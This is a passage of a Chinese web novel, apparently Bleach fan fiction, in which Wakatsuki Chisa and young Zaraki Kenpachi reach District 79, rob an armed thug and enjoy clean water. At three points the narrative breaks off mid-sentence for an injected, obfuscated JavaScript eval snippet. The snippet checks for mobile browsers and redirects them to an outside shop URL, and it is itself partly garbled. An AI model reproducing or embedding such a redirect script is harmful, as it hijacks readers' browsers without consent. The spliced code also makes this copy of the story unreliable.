她的手毫无阻碍地伸直,从指尖到胳膊形成一条直线,仿佛挡住无数人的屏障并不存在。 她不清楚这道屏障筛选人的标准,但是她可以的! 若月千纱嘴角一翘,抬起右脚,一步跨越天堑,转瞬便和那几个人咫尺天涯。 她不再关注另一头已毫无威胁的人,三两步走到更木剑八身边,笑语盈盈:“久等了,剑八。” 他没有抛弃她自己离去,她好感动。她终于把自家崽崽养熟了! “你太慢了。”更木剑八的语气略有些不耐烦,“快点走吧。” 若月千纱点了点头,神态自若地和他一起走向那片树林。 崽崽是个急性子,发点小脾气无伤大雅。只要他愿意等她,她就别无所求了。 两人走进树林,有风拂过,树叶沙沙作响。 更木剑八不知被什么迷惑住了心神,驻足仰头,凝望着前所未见的光景。阳光透过树叶缝隙洒落在他脸上,光影斑驳,让他微眯起双眼。 若月千纱见他停步,低头看了看地面,俯身捡起一根长约一米、比大拇指略粗的断裂树枝,握在手心试了试手感,挥动几下,露出差强人意的表情。 16.第十六章 呼呼作响的破空声引起更木剑八的注意。他别过头,看向若月千纱手中其貌不扬的树枝:“这是?” “如你所见,这是一截普通的树枝。不过,在接下来的一段时间内,它会是我的武器。你知道吗?在我们离开80区后,赤手空拳的肉搏战已经落伍啦。在未来的战斗中,持械格斗才是主旋律。你也捡一根树枝吧,我教你怎么使用武器。” 她的话说得极有底气。 脱离80区后,系统结算了任务奖励,她获得了初级斩术。此时此刻,她已经脱胎换骨,不再是只会空手格斗术的她了!她会使用武器啦! “不要,那种战斗很无聊。”更木剑八使用过堪比暗器的石头,真心觉得那种战斗没意思,不如拳拳到肉的激烈肉搏,一口拒绝,“走吧,我们去找强者战斗。这里的人比之前那几个人厉害吧?” “应该吧。”若月千纱随口应了一句,碎碎念道,“你都没用武器和人对打过,怎么知道那种战斗无不无聊?我和你说,实力相当的两个人对打,持有武器的那一方更占优势。我们只是血肉之躯……” 更木剑八不耐烦地捂住双耳:“啰嗦。” 若月千纱无意和聋子说话,只得住了口。她撇了撇嘴,把树枝放在地上,抱住一棵树往上爬。 更木剑八放下双手,仰头,看向坐在粗壮的树枝上的人:“你爬上去做什么?” 若月千纱一时起意,淘气地晃了晃悬空的双腿:“你猜。” 更木剑八不配合同行者突如其来的调皮:“我走了。” 若月千纱的双腿尴尬地悬停在半空。 “别啊!”她知道更木剑八的性格,不再和他开玩笑,只得实话实说,“我爬树是为了摘树叶啦。你知道吗?大部分树木的树叶是无毒的,而树叶里的树汁可以解渴!有了它们之后,我们就不用再喝人血了!” 更木剑八疑惑不解:“喝人血怎么了?” 从记事起,更木剑八就生活在尸魂界80区。对他而言,比起少见又难以储存的雨水,人血才是生存的必需品,喝人血续命是理所当然的事情,和呼吸一般自然。 若月千纱一时竟无言以对。 在资源严重匮乏的地方,想要生存就必须喝人血。同为这种环境的受害者之一,她也深受其害。这种无奈的生存之举究竟哪里不对? “……不对,差点被你绕进去了。在有选择的情况下,当然不能喝人血啦!” “为什么?” “除非逼不得已的极端情况,否则同类相食是大忌,这是自然界不成文的潜规则。” 更木剑八歪了歪脑袋,若月千纱几乎可以看到他头顶快要具现的大问号:“为什么?那是我的战利品。” 对于一个习惯喝血止渴、从未接受过道德教育的人来说,大道理是不管用的。 若月千纱思考片刻,从其他角度入手:“失血过多会导致死亡。你喜欢旗鼓相当的战斗对吧?被你吸血的人都曾是你的对手,和你实力相当。倘若他们因失血过多而死亡,就意味着你失去了一些有机会成长得更厉害的对手,再也享受不到和他们战斗的乐趣。要知道,强者有限,死一个就少一个。为了实现资源的可持续发展,在有替代品时,你千万不能喝人血啊。” 更木剑八大致上听懂了她的话,有些意动。 若月千纱趁热打铁:“而且,人血多脏啊,谁知道血液里有没有携带什么病毒,味道又让人作呕。别的不提,树汁就比它干净又好喝!你凑近了闻一闻,这些树叶是不是有股清香味?” 她分开合拢的双手,将手里的一捧树叶往前一抛。 树叶打着转飘落下来,纷纷洒洒地飘向不同地方。 更木剑八眼疾手快地抓住了从眼前飞落的一片树叶。他捏着树叶放到鼻子底下嗅了嗅,神情微讶。 在他贫瘠的人生中,他从未闻到过这种让人喜爱的奇特气味。 他迫不及待地将树叶塞进嘴里嚼了嚼,一股苦涩的味道在他口腔里爆炸开来,折磨着他的味蕾。 他这辈子就没尝过这么难吃的味道! 更木剑八急忙吐出树叶,小脸皱成一团,用一副上当受骗的表情控诉地看着她:“你骗人!” “啊咧?” 若月千纱眉毛一挑。 事情的发展和她预料中不一样啊,她还等着更木剑八主动爬上树和她作伴嘞。 在她的常识里,树汁应该挺清甜的,经常有人摘树叶炒菜呢。 “不可能啊,你的味觉是不是有问题?”若月千纱摘下一片树叶放进嘴里:“我尝尝看——啊呸!怎么会这么苦!” 她吐出舌头,和树下的崽崽大眼瞪小眼。 更木剑八的沉默震耳欲聋,若月千纱耳根一红,朝他尬笑。 舌头上的苦味停留一阵子后,又转化为一丝丝的甜味。 若月千纱砸了咂舌头,从回甘的味道中找回一丝自信:“我没有骗你!树有千万种,每棵树的树叶的味道应该也不尽相同。我只是运气不好,抽中了下下签。这片树林那么大,树木的种类也多。你等着,我一定会找到树汁清甜的树木来证实我说的话!” 更木剑八咂摸着舌面上涌现的甜味儿,勉强相信了她的话。 若月千纱用手一撑树枝,从树上跳了下来。她在树林里四处寻找不同种类的树木,摘下一片片树叶品尝味道。 功夫不负有心人,在舌头被苦味彻底麻痹之前,她终于品尝到自己想要的味道。 两人坐在树枝上摘取树叶大快朵颐。 “我终于摆脱茹毛饮血的生活了!剑八,我没骗你吧?这树汁的味道比黏黏腻腻的腥甜人血好喝多了吧?喏,要摘嫩叶,口感更好。” 更木剑八抽空点了点头,下手飞快,一副要薅秃树木的架势。 若月千纱看着狼吞虎咽的崽崽,心里莫名涌现出一股成就感,自豪地挺了挺胸膛。 投食成就变相达成! 若月千纱移回目光,一心二用,一边贪婪地从树叶中汲取清甜的滋味,一边用眼角余光瞥向身侧的蓝紫色蝴蝶。 就在刚才,系统发布了下一个任务——为更木剑八提供良好的生活环境。 良好的生活环境指的是什么?经济条件相对优越的生活环境吗?她只要提供好一点的衣食住行就行了吗? 他们到达了新的区域,一切都是未知数。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971569|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在口粮方面,他们至少得到了基础保障。她已经将这棵树木的各种特征牢记于心,若是在新地方混不开,他们可以到树林里吃自助餐。 至于衣、住、行几个方面,她不太担心。 这里树木茂盛,树叶的含水量颇高,单纯的生存不成问题,居民们不太可能为了存活而自相残杀。没有生存压力,新地区一定是个和平的地方。 和平稳定的环境会促进人类社会的经济发展,带来他们的来处所没有的繁荣。在和平的地方,一定会有和平的手段获取她想要的经济条件。她有手有脚,实力也不算差,还怕不能创造出良好的生活环境吗? 新的系统任务并没有让若月千纱感到为难,她在意的是另一个方面。 这次任务的系统奖励竟不走寻常路,并非她猜测的中级斩术,而是基本技能——瞬步(初级),即快速瞬间移动身体的步法。 为什么?她的白打技能可是靠三个连续任务从初级升到了高级,没道理在之后破例啊! 若月千纱瞟了眼倚放在树干上的树枝,又看向蓝紫色蝴蝶,心里陡生出一种想法。 难道……系统嫌弃她的“武器”太脆弱,没办法承受中级斩术的威力吗? 她觉得这种可能性大有概率。 蓝紫色蝴蝶机械地扇动着翅膀,不含任何情绪。 “……我是不是太高估系统的智能了?嘛,真相不重要,反正只要有任务奖励就好。瞬步会被系统单独列举出来作为奖励,一定比白打的附带步法强许多吧,真令人期待。” 两人啃甘蔗一般,咽下甘甜的汁液,吐出多余的渣滓,喝了个肚子滚圆。 大量树汁下肚,若月千纱顿觉自己的皮肤都变得水润光泽起来,心满意足地打了个饱嗝。 她跃下树,拿起树干旁的那截树枝,辨别方向后抬起手,树枝的另一端直指南方:“剑八,我们出发!” 两人雄赳赳气昂昂地朝南方前进,在树林里穿行着。林中道路错综复杂,若月千纱时不时辨认方位,矫正他们的路线。 树林的占地面积很大,两人走了许久后,仍置身其中。 走着走着,更木剑八突然止住脚步,脑袋一扭,神情变得亢奋起来,指向左前方:“我们去那里。” “啊?为什么?” “那里有新鲜的血腥味。” 有血腥味说明有人受伤,但伤者却不在他们的视线范围内。隔着老远都能闻到血腥味,意味着什么? 更木剑八的战斗之魂在燃烧。 若月千纱的鼻子冲着他所指的方向使劲嗅闻,除了树林本身的味道外一无所得:“真的假的?我怎么没闻到?” 更木剑八不语,朝那个方向跑去。 “哎,等等我!” 跑出一小段路程后,若月千纱终于闻到风里似有若无的一丝血腥味。 她惊叹地看向更木剑八,感慨于他异于常人的野兽般的嗅觉。 他们越往前跑,那抹血腥味越浓重,甚至比80区内更甚。 很快,他们便抵达了目的地。 若月千纱看着眼前的景象,不由得放慢脚步,停下,脸色难看:“见鬼的和平之地!” 17.第十七章 尸山血海。 大约只有这个词汇,才能准确地描述眼前的场景吧。 和战斗大多靠肉搏的80区不同,79区物资渐丰,有了杀伤力大的武器,战斗时的血腥程度因此直线上升。爆头开瓢、肠穿肚烂、残肢断臂……惨绝人寰。 若月千纱看惯了鲜血和尸体,也不禁胃里翻滚。她别开脑袋,不去看遍地被红色淹没的残缺尸体,用手捂住鼻子,好让刺鼻的血腥味不直冲进鼻腔。 “别看了,剑八。我刚才观察过了,里面没有活口。我们走吧。” 这个场面太过劲爆,不宜细看,否则夜里容易噩梦缠身。 更木剑八还没来得及给出反应,就被若月千纱拉着胳膊硬生生拖走:“画面少儿不宜,此地不宜久留。这里没有你想要的战斗,赶紧走人。熏死我了。” 更木剑八对鲜血和尸体不感兴趣,沸腾的热血迅速冷却,耷拉着脑袋,任由若月千纱将他拖走。 若月千纱嘴上说走,身体却很诚实地开跑,好尽快呼吸呼吸新鲜空气,压下反胃感。 她拉着更木剑八小跑了一段路,才敢大口呼吸:“啧,我怎么就忘了,促使人类行动的源动力是欲望。失去生存压力后,人心会滋生出新的欲望,而武器的存在会使灾难扩大。新地盘不好混啊,在80区战败,好歹能留具全尸,在这里可不一定。喂,剑八,你见识到武器的威力了吧?怎么样,你有没有改变想法,决定和我一起学习斩术?” 更木剑八坚定不移地摇头:“不要。我怕不小心打死人,会减少劲敌。” 多耳熟能详的话语啊! 若月千纱失笑:“现学现卖倒是挺快的嘛。那你要好好加油了,武器在手的人不仅攻击速度快人一步,还加大了攻击及防守范围,杀伤力大增,优势不言而喻,空手入白刃可没那么简单。当然,若你改变想法,我随时可以教你斩术。” 更木剑八不置可否。 这个话题暂且告一段落。两人埋头赶路,想尽快一睹新地盘的面目。 不一会儿,两人便走出连绵成片的树林,踩着荒草丛生的土地,走进居民生活区。 相较于杂乱无章的80区,此处房屋的布局大致上算得上鳞次栉比,井然有序。在房屋之间,铺展开一条条平整的街道。 街道上人来人往,许多人穿着打着补丁的衣服,肩扛手挑,正在为生活奔波。他们路过街边的一个个摊位,目光时不时扫向那些标价出售的诱人商品。布料针线、器皿、食水……这里俨然形成了一个生活气息十足的小镇。 来自80区的两个土包子双脚仿佛被钉在原地,目瞪口呆地看着眼前的景象,一动不动。 若月千纱激动不已:“和平之地……果然是和平之地!比起80区,这里简直就是天堂!” 她对79区的印象分蹭蹭上涨,树林里见到的那一幕已然被她抛到爪哇国去了。 就在这时,一个凶神恶煞的壮汉提着一根木棍走到卖水的摊位前,从摊子上抱起一坛水,威胁地朝摊主晃了晃木棍,没有支付任何东西,转身就走。 摊主也是个人高马大的汉子,但体格显然不如那个壮汉。他看了看壮汉手中血迹斑斑的粗棍,敢怒不敢言地嘟囔了几句,转头朝躲在一旁渴望地盯着水坛子看的几个畏畏缩缩的孩子吼道:“看什么看?你们这群穷鬼快给老子滚开!别在这里杵着妨碍老子做生意!” 和平? 若月千纱默默地捂住自己的脸。打脸来得太快,嘶,好疼。 不过,摊主的家乡口音太重了吧。隔着这么段距离,她竟没听懂他说的话,只能通过他的语调、动作意会出他的意思。 更木剑八的眼睛蹭地亮了,“嗖”地一声蹿上前去,有样学样,垫起脚尖,高举双手,从摊子上抱起一坛水。 若月千纱捂着脑门,头有点疼:“一不注意就给我捅篓子……剑八,快把东西放下!这里不是80区,不能乱拿东西!” “臭小子,当老子好欺负吗?老子不发威,你当我是病猫?”摊主从手旁操起一根棍子,狞笑了几声,兜头向更木剑八脑袋上砸去,“不拿你立立威,旁边那几个小鬼也敢来偷老子的水了!偷东西偿命,天经地义!” “住手——” 若月千纱喊得太晚。 木棍落下,更木剑八敏捷一闪,双腿发力跳起,抱着水坛子在空中一个扫腿,小腿骨正面击中摊主的脸。 他可不知道什么叫手下留情。摊主因他年纪小掉以轻心,姿势松散,在他的这一重击下直接仰面倒地,后脑勺重重地磕在地上,晕了过去。 “……迟了一步呢。欺软怕硬,下手狠辣,就当这是你过激行为的现世报吧。”若月千纱无奈地耸了耸肩,想从更木剑八手里夺回水坛子,“到一个地方就要守一个地方的规矩,在这个地方,我们得花钱买东西。” 更木剑八不理解她的意思,往旁边一闪,执拗地抱着坛子不肯松手:“这是我的战利品。” 他们充其量算是关系平等的同伴,并无上下级之分,他没理由无条件听从若月千纱的话。 “……不,那东西不叫战利品,叫赃物。你知道你的行为叫做什么吗?在摊主出手之前,那叫偷窃;在摊主出手之后,这叫抢劫。向老老实实在街上摆摊的摊主行偷窃或抢劫之事,既掉价又丢人,和小偷强盗无异,我们不能这么干。” 作为更木剑八的养育者,她怎么能让他做这种不入流的事呢? 更木剑八的眼睛开始转圈圈:“赃物?偷窃?抢劫?” 若月千纱苦口婆心道:“听不懂吗?那我说得简单点吧。这里和80区的情况不同,我们不能硬抢摊子上的东西,应该用别的手段得到它。况且,摊主的实力那么弱,你这种行为就是在欺负他。你不喜欢欺负弱者,对吧?” 更木剑八似懂非懂地点头:“和弱者战斗很没意思。那我该怎么得到它? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984532|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “工作获得薪资报酬,而后通过正常途径购买它们。或者……”若月千纱看向之前壮汉离去的方向,露出甜美的微笑,“黑吃黑。” 更木剑八渴求战斗,她也需要靠实战熟悉并磨练新的技能。 这里比80区和平太多,至少维持着表面的平静。若无缘无故挑起战火,她仅剩的一点良心会过不去。 不过,对手本就是恶霸的话,黑吃黑可谓一举三得,不仅能够满足他们的战斗需求,还能获取包括但不限于金钱及物资的战利品,顺带帮助被欺压的无辜居民们除恶。 虽然这种做法有悖于她记忆里的常识,但是,现实早已告诉她,那些缥缈无根的常识不可信。在公序良俗皆为空谈的三无地带,她要做自己想做的事情。 更木剑八再次被没听过的词汇难倒了:“黑吃黑?那是什么意思?” “意思就是……我们去寻找真正的对手战斗,获取真正的战利品吧!在此之前,你先把坛子放回摊子。” “战斗”二字作为最后一根稻草,压倒了更木剑八的坚持。 他二话不说,把水坛子往摊子上一搁,转身催促道:“走,去战斗!对手在哪?” 若月千纱一脸欣慰:“真是心急,都说要去找啦。不过,应该不难找到人。能在树林里留下那种杀人痕迹的人,想必很有胆量,不会像老鼠般偷偷摸摸地躲藏起来吧。就算找到的人不是他们,应该也是类似的人,那都不算找错人。” 两人从卖水摊位前离开。 待他们离去后,在一旁偷窥的几个孩子见摊主仍倒地不醒,一哄而上,一人抱起至少一坛子水,结伴逃离。 几个路人见状,悄悄地靠近摊子,跟着顺了一坛水,融入人流之中,消失不见。 很快,卖水摊上变得空空如也。 又有人路过,蹑手蹑脚地靠近摊主,蹲下,小心翼翼地从他的衣服里摸出钱,放进自己的腰包里,若无其事地回到人群之中。 街道上依旧人来人往,卖水摊的小插曲很快便无声无息地淡出人们的视野,只余欺软怕硬的倒霉摊主无知无觉地躺在地上,不知醒来后将如何面对财货两空的现实。 若月千纱和更木剑八浑然不知身后发生了什么事情。此刻,他们正在跟踪一个精壮男子。他浑身散发着血气,面相凶恶,腰间悬挂着一把打刀,看起来像个典型的恶人,简直是把“目标”二字贴在脸上。 “跟着他准没错,只要顺藤摸瓜,十有八-九能摸出个大惊喜。只不过……”若月千纱瞟了瞟一旁赤手空拳的更木剑八,再低头看了看自己手上易折的细长树枝,“拿不堪一击的肉拳头和细树枝对抗金属刀剑,我们会不会太勇了?要不然我们换一个目标?” 他们还没和这个地方的人交过手,不知道他们的实战水平如何。在没摸清底细之前,他们是不是该采取保守战术,找个差不多的对手试试水,譬如之前吃霸王餐的那个壮汉? 18.第十八章 更木剑八战意勃发,跃跃欲试:“不要,我还没和拿着武器的人战斗过呢!” 更木剑八格斗术不如她,也不会斩术,年纪比她小许多,还是她养的崽崽。他都这么说了,若月千纱哪好意思认怂?就算是打肿脸充胖子,她也得咬牙认了目标呗! “好吧,反正就算打不过他,我们也能逃得过他。他的敏捷度肯定比我们低。” “为什么我们不能直接找他打架?” 更木剑八没有行动快于大脑,若月千纱十分欣慰,她一路上没有白白向他灌输“地区不同,要克制住自己,不能随意动手”的思想。 “我还不确定他到底是不是‘黑’,不能出手。况且,现在也不到出手的时机,胡乱出手有可能会因小失大。忍耐住,别冲动,他不行就换别人,我一定会让你如愿的。所以,暂时听我的,好吗?” 更木剑八勉强答应了她。 两人屏息静气,将自己的存在感降到最低,偷偷摸摸地尾随着他。 带刀精壮男子无愧于他的容貌,做起事来十足是个恶人。一路上,他横行霸道、欺凌弱小,不是明抢他人钱财,就是随心所欲拔刀伤人。从他的神情来看,他十分享受肆无忌惮的快感。 他的所作所为看得若月千纱蹙眉不已:“啧,剑八,你可千万不要学他行事。这种人毫无底线可言,就是一件行走的大型垃圾,亟需回炉再造。作为黑吃黑的第一单,他非常符合标准,我们跟对人了。” 她失去了过往的记忆,但她并非一片白纸。脑内如浮萍般的常识仍有许多内容存疑,但她认同其中的部分道德观。它们坚守住了摇摇欲坠的道德底线,让她没有被80区的风气彻底染成污浊之色。 她自诩为更木剑八的养育者,今日之事让她惊觉自己对他的教育严重偏科,她决定将道德教育提上日程,让他耳濡目染,不至于走偏路。 道德教育第一课,黑吃黑,变相除恶。 反面教材·精壮男子在街上逞了半天的威风,终于抱着一堆赃物回了家。 “上!” 见精壮男子拉开家门,若月千纱振臂一挥,向更木剑八发起进攻号令,自己则在后方压阵。 更木剑八如猎豹般猛冲上前,冲他大喊道:“喂!拔出你的武器,我们来打一架!” 偷袭?不存在的,更木剑八寻求的是堂堂正正的战斗。 若月千纱啧舌。 对无耻之人讲究什么公平?再说了,人家拿着刀剑,你只有一对肉拳头,这场战斗本身就不公平,先发制人才不是偷袭呢! 精壮男子状若未闻,走进房门。他身体微侧,眼珠子一转,眼尾余光扫向左后方,左手做出准备关门的动作,右手却悄然落在打刀的刀柄上。 他的身体挡住了手上隐蔽的动作。更木剑八没发现他在视线盲区内做的小动作,只当他没注意到自己,脚下用力一蹬,加速冲向他,双手抓向房门,不让他关上门。 他们的距离越来越近,五步、四步、三步……精壮男子突然一个转身,刀刃出鞘,在空中掠过凛冽的寒光。 这一击出人意料,快如闪电,若月千纱阻拦不及,惊声尖叫:“剑八——” 更木剑八的战斗本能极其出色,裹挟着冲势向前的身体就势下压,高度骤然矮了一截。 原本对准喉咙的刀光掠过更木剑八的头顶,带走刺猬头顶端的一小撮头发。 更木剑八不为所动,趁他刀势已尽、来不及收刀,脚下一蹬,揉身而上,拉近和他的距离,攻击他持刀的手腕。 精壮男子之前已看清对手的模样,对自己这一击信心十足。见必中的攻击落空,他一时愕然,怔愣了一下,就被更木剑八抓住机会近了身。 79区物资不丰,铁器更是少之又少。在这种大环境下,没几个人敢用肉拳头或木棍试验刀剑的锋利程度,打刀的威慑力不可谓不强。 借刀剑之利,他轻而易举就能吓唬得对手不敢近身,已经很长时间没和人真刀真枪地近身搏斗过,身手生疏不少。更木剑八一近身,他便慌了神,手足无措,不知该继续挥动打刀抑或丢下武器和他肉搏。 一人破绽百出,一人无懈可击,结局一目了然。 更木剑八将其击败,缴械、打晕一条龙走起。 他朝地上刀鞘分离的武器看了两眼,不屑道:“武器没什么用啊。” 若月千纱乐呵呵地走上前,丢掉手中才刚热乎的被她称为临时武器的树枝,捡起打刀,爱不释手地拿在手里,翻来覆去细看。 “那是我们运气好,碰到了个菜鸟,不擅剑道,只会仗着武器之利胡乱挥刀。不过,这家伙心思狡诈,手段狠辣,倒是弥补了一些短板。倘若刚才你慢了一拍,这会儿就该身首分离了。你可不能小看武器的优势,轻视它的威力。等我斩术稍有小成,你就能见识到它的用处了。” 更木剑八摸了摸头顶被削平的一小截发尾,算是听进一点儿她的话。 “打刀啊打刀,我刚学会初级斩术,你就落到我的手中,这说明什么?我们之间是天定的缘分呐!我以后会好好使用你的,绝不会像你的前任主人那般,把你当成砍柴刀用,让你明珠蒙尘……” 提起某人后,若月千纱的声音一顿。 “呀,差点忘记还有一件事情要做。” 她握住刀柄,走到精壮男子身边,蹲下,刀尖对准他右手大拇指的第一关节处,落下。 “啊——”如同杀猪般的凄厉惨叫声骤然响起,精壮男子痛得醒了过来,抱住缺了根手指的右手翻滚呻-吟。 若月千纱一个手刀下去,哀嚎声戛然而止。 她甩了甩打刀,刀尖上几滴细碎的小血珠顺着力道飞溅出去,只在刀尖上留下几抹红痕。 若月千纱快速地看了更木剑八一眼,见他没有留意自己的动作,悄悄松了口气,暗自给脑海里常识的可信度降下一级。 什么刀剑一甩,滴血不沾,纯属胡扯。 她转动手腕,把刀尖上的血擦到精壮男子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003643|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服上,而后从他的衣摆割下一条布,熟练地替他止血、包扎。她摸走他怀中的钥匙和钱袋,把刀刃送回鞘中,招呼更木剑八道:“走,我们去清点战利品。” 更木剑八瞥了精壮男子一眼,不明白她多此一举的做法有何意义。只要人没死,对他来说就没有差别,他期待对方能够成长起来重新成为他的对手。 他跟着若月千纱走进精壮男子的家:“打得不过瘾。” “没关系,以后还有很多机会。我保证,你觉得打得过瘾的那一天不会很远。”若月千纱反客为主,将门反手,把房屋原本的主人关在门外,“锵锵锵!激动人心的时刻到来了!抽盲盒会掉落哪些东西呢?让我们拭目以待!” 不理解的词汇增加了,但更木剑木没有开口询问。 不重要的词汇只会增加他的学习负担,没有知道的必要,他才不会主动开口嘞。 这个房屋比他们在80区曾住过的大了许多,隔成两间房,桌子、椅子、床铺之类的家具应有尽有。房屋的各个角落凌乱地摆放着众多物品:几套干净的新衣服、一坛坛水、厚实的布匹、钱袋子…… 更令她喜出望外的是,她在前主人的枕头下发现一把短刀。比起被前主人乱用且没有好好保养有所磨损的打刀,这把短刀更加锋利。 若月千纱笑逐颜开:“大收获!喏,剑八,这把短刀给你。黑吃黑果然是暴富的捷径。衣、食、住、行……这不是差不多齐全了吗?良好的生活环境近在眼前!我们脱贫致富啦!” “我不要。”更木剑八推开她的手,走到角落,抱起一坛水,咕噜咕噜连灌几口,“好甜。” 若月千纱咽了咽口水。 这可是用以售卖的干净食水!她有记忆以来从未尝过! 她把短刀往怀里一揣,一个箭步冲到他身旁,抱起另一个水坛子凑到嘴边,豪爽地一仰脖子:“哇,好爽!” 食水里没有雨水的异味、血液的铁锈味、树汁的微涩味,也没有黏稠糊嗓子的不适口感,纯净、清爽又甘甜,喝下去后,长久以来喉咙处顽固不化的隐约干渴感竟逐渐消融。 若月千纱在桌边坐下,放下水坛子,仔细地咂摸着嘴里那抹难言的滋味,回味了许久。 她看着坛子里干净澄澈的食水,脸上漾起灿烂的笑容,神游天际。 有了食水,她以后再也不用站在雨中对着天空张大嘴巴去接从天而降的雨水,更不用忍着恶心去咬别人散发着恶臭的脖颈喝腥甜的人血,就连滋味尚可的树叶都可以剔除出她的食谱了! 透明的食水还未平静下来,在坛子里晃荡着,将映照在水面上的倒影拉扯得支离破碎。 待她走神完,水面已平静下来,水波不兴,如镜子一般照出她的脸。 水中的少女蓬头垢面,却不掩其姿容的姣好。那张清纯动人的脸蛋上,还镶嵌着两个甜甜的小酒窝,散发出甜美的气息。 若月千纱震惊不已:“诶?原来我长这副模样?竟然还有小酒窝!?” 19.第十九章 流魂街北80区里没有任何能照出人影的东西,难得下场雨,下雨量也不大,无法在泥土地上积起小水洼。 她好奇过自己的长相,曾用手摸过自己的脸,但没摸出个所以然来,脑海中无法靠手感将零碎的拼图碎片拼凑成完整的图案。她除了知晓自己的皮肤细腻光滑有弹性外,其余的不清不楚,更没有摸出过隐藏在笑靥之下的小酒窝。 她的长相如何?是美是丑?这一直是个谜。 后来,她的生活中多出更木剑八。待他有能力表述自己的看法后,她曾向他询问过这个问题。 可惜,小家伙没有审美观,两只眼睛一个鼻子一张嘴两个耳朵的人在他眼中长得都差不多,分辨不出美丑。不过,他分得出男女和年龄。他当即跑到门口向外眺望,好不容易等一个和若月千纱年纪相仿的女孩子路过,便指向她道:“和她长得差不多。” 若月千纱见他认认真真找了半天却指向一个相貌平平的女孩子,只好心碎地接受自己是个大众脸的事实,从此不再关注自己的相貌。 谁想,事实并非如此?水里映照出来的分明是个十五六岁的清纯甜美的美少女啊! 若月千纱耿耿于怀,转过脑袋瞪着更木剑八:“你个瞎子!” 更木剑八不认:“你胡说,我视力好得很!” “睁眼瞎!零审美!白长了两颗清澈透亮的眼睛!你等着,日后我一定会培养你的审美观,把你的审美提升上去!” 听到“培养”二字,更木剑八一缩脖子,佯装听不见。 但凡听到和教育沾边的话题,他向来习惯装死,不扩展话题,好让她尽快忘记这一桩事。 根深蒂固的自我认知在须臾之间发生翻天覆地的变化,想象和现实形成的强烈反差让若月千纱对自己的容貌骤生出十足的自信,甚至过了头。 她冲着更木剑八抱怨一通后,便抱着水坛子不放手,忘我地欣赏水中的自己。 “哎呀,我怎么会长得这么漂亮呢!看看这眼睛,这鼻子,这嘴巴,这小酒窝,啧啧啧,我出生时被天使吻过脸吧!” 自她在80区睁开双眼以来,入目的一切皆为丑恶,污浊不堪,她要借美色好好洗洗自己被污染的眼睛! 更木剑八没理会魔怔中的少女,如牛饮水,喝了个水饱。 没人阻止若月千纱,她愈发来劲:“不行,这张脸不该沾上污垢。水……水……” 她的声音渐渐低了下去。 用珍贵的食水来洗脸,会不会太过奢侈了? 要知道,就在昨日,他们还过着饮血止渴的生活。 一想到要用能够延续生命的食水来洗脸,她顿觉一阵心疼,迟迟不舍得动手。 “不对,我不该这么想。只要把它用在有价值的地方,就不算浪费,无需心疼。讲究卫生是件好事,保持身体清洁非常重要。之前没条件,只能靠下雨天,现在不一样了!提升生活质量不是错!光是洗脸还不够,我们还得洗头洗澡!” 若月千纱自我说服成功,说干就干。她从战利品中挑选出一套新衣服,从干净的布匹上割下一截布料,把三坛水抱进更有私密性的里间,门一关,将一处角落的物品腾空,将就着从头到脚清洁了一番身体。 身体污垢尽消,久违的清爽感让她不禁发出一声喟叹:“这才是生活啊!” 她容光焕发地从里间走出来,将充满关爱的双手伸向更木剑八,笑得甜甜蜜蜜:“有福同享,现在轮到你了!” 更木剑八不知道他将面临什么,没有提防若月千纱,被她扼住了命运的后脖颈。 “你要干什么?” “帮你洗澡啊!” “我不要!放手!” “不要也得要!你臭得都快馊了!” 一场比之前激烈百倍的“战斗”就此展开。 在这弱肉强食的世界上,一切由胜者说了算。 更木剑八被她扒光衣服,在她的武力镇压下洗了一回名副其实的战斗澡。 “哼哼哼,想从我手中溜走?你还差得远呢!”若月千纱抹掉飞溅到脸上的水滴,笑得志得意满,“怎么样?洗干净后,有没有感觉舒服很多?” 这一场漫长的肆意“蹂躏”给更木剑八带来巨大的心灵创伤。他一副眼神死的模样,半干的头发贴着头皮趴着,发尾处有一滴滴小水珠缓慢地凝聚,坠落,宛如一只落水狗。 “屋子的衣服尺寸不合适,只能把过长的部分割掉,腰上系条带子,将就穿一晚上。明天我们上街去店里看看新衣服,正好教教你怎么购物。” 若月千纱边说边忍笑,肩膀不停地颤动着,抖着手帮他把袖子割短。 更木剑八的个头刚到她的腰部,身材瘦小,精壮男子的一件上衣就足以将他包裹住。套在他身上的上衣堪比宽松的大麻袋,松松垮垮的,衬得他跟个袖珍娃娃似的。 更木剑八动作木然地配合她的动作,如同没有灵魂的提线木偶。 